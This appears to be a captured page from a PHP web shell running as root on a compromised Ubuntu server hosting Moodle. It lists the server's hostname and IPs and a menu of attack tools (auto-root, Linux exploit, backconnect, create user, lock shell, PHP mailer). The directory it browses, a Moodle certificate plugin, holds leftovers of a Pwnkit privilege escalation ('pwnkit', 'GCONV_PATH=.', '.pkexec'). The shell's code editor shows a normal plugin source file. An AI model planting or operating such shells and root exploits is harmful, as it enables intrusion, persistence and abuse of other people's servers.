Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
customcert /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
element
[ DIR ]
drwxrwxrwx
includes
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
mobile
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
.travis.yml
1.16
KB
-rwxrwxrwx
CHANGES.md
9.07
KB
-rwxrwxrwx
LICENSE.md
34.32
KB
-rwxrwxrwx
README.md
1.57
KB
-rwxrwxrwx
ajax.php
1.81
KB
-rwxrwxrwx
composer.json
199
B
-rwxrwxrwx
edit.php
9.37
KB
-rwxrwxrwx
edit_element.php
3.86
KB
-rwxrwxrwx
index.php
3.91
KB
-rwxrwxrwx
lib.php
13.33
KB
-rwxrwxrwx
load_template.php
3.86
KB
-rwxrwxrwx
manage_templates.php
4.8
KB
-rwxrwxrwx
mod_form.php
10.03
KB
-rwxrwxrwx
my_certificates.php
3.36
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
rearrange.php
5.57
KB
-rwxrwxrwx
report.php
1.33
KB
-rwxrwxrwx
settings.php
4.59
KB
-rwxrwxrwx
styles.css
1.79
KB
-rwxrwxrwx
upload_image.php
1.84
KB
-rwxrwxrwx
verify_certificate.php
5.2
KB
-rwxrwxrwx
version.php
1.36
KB
-rwxrwxrwx
view.php
7.57
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : verify_certificate.php
<?php // This file is part of the customcert module for Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Handles verifying the code for a certificate. * * @package mod_customcert * @copyright 2017 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // This file does not need require_login because capability to verify can be granted to guests, skip codechecker here. // @codingStandardsIgnoreLine require_once('../../config.php'); $contextid = optional_param('contextid', context_system::instance()->id, PARAM_INT); $code = optional_param('code', '', PARAM_ALPHANUM); // The code for the certificate we are verifying. $qrcode = optional_param('qrcode', false, PARAM_BOOL); $context = context::instance_by_id($contextid); // Set up the page. $pageurl = new moodle_url('/mod/customcert/verify_certificate.php', array('contextid' => $contextid)); if ($code) { $pageurl->param('code', $code); } // Ok, a certificate was specified. if ($context->contextlevel != CONTEXT_SYSTEM) { $cm = get_coursemodule_from_id('customcert', $context->instanceid, 0, false, MUST_EXIST); $course = $DB->get_record('course', array('id' => $cm->course), '*', MUST_EXIST); $customcert = $DB->get_record('customcert', array('id' => $cm->instance), '*', MUST_EXIST); // Check if we are allowing anyone to verify, if so, no need to check login, or permissions. if (!$customcert->verifyany) { // Need to be logged in. require_login($course, false, $cm); // Ok, now check the user has the ability to verify certificates. require_capability('mod/customcert:verifycertificate', $context); } else { $PAGE->set_cm($cm, $course); } $title = $customcert->name; $heading = format_string($title); $checkallofsite = false; } else { $title = $SITE->fullname; $heading = $title; $checkallofsite = true; } \mod_customcert\page_helper::page_setup($pageurl, $context, $title); // Additional page setup. if ($context->contextlevel == CONTEXT_SYSTEM) { $PAGE->navbar->add(get_string('verifycertificate', 'customcert')); } if ($checkallofsite) { // If the 'verifyallcertificates' is not set and the user does not have the capability 'mod/customcert:verifyallcertificates' // then show them a message letting them know they can not proceed. $verifyallcertificates = get_config('customcert', 'verifyallcertificates'); $canverifyallcertificates = has_capability('mod/customcert:verifyallcertificates', $context); if (!$verifyallcertificates && !$canverifyallcertificates) { echo $OUTPUT->header(); echo $OUTPUT->heading($heading); echo $OUTPUT->notification(get_string('cannotverifyallcertificates', 'customcert')); echo $OUTPUT->footer(); exit(); } } // The form we are using to verify these codes. $form = new \mod_customcert\verify_certificate_form($pageurl); if ($code) { $result = new stdClass(); $result->issues = array(); // Ok, now check if the code is valid. $userfields = get_all_user_name_fields(true, 'u'); $sql = "SELECT ci.id, u.id as userid, $userfields, co.id as courseid, co.fullname as coursefullname, c.id as certificateid, c.name as certificatename, c.verifyany FROM {customcert} c JOIN {customcert_issues} ci ON c.id = ci.customcertid JOIN {course} co ON c.course = co.id JOIN {user} u ON ci.userid = u.id WHERE ci.code = :code"; if ($checkallofsite) { // Only people with the capability to verify all the certificates can verify any. if (!$canverifyallcertificates) { $sql .= " AND c.verifyany = 1"; } $params = ['code' => $code]; } else { $sql .= " AND c.id = :customcertid"; $params = ['code' => $code, 'customcertid' => $customcert->id]; } // It is possible (though unlikely) that there is the same code for issued certificates. if ($issues = $DB->get_records_sql($sql, $params)) { $result->success = true; $result->issues = $issues; } else { // Can't find it, let's say it's not verified. $result->success = false; } } echo $OUTPUT->header(); echo $OUTPUT->heading($heading); // Don't show the form if we are coming from a QR code. if (!$qrcode) { echo $form->display(); } if (isset($result)) { $renderer = $PAGE->get_renderer('mod_customcert'); $result = new \mod_customcert\output\verify_certificate_results($result); echo $renderer->render($result); } echo $OUTPUT->footer();
Close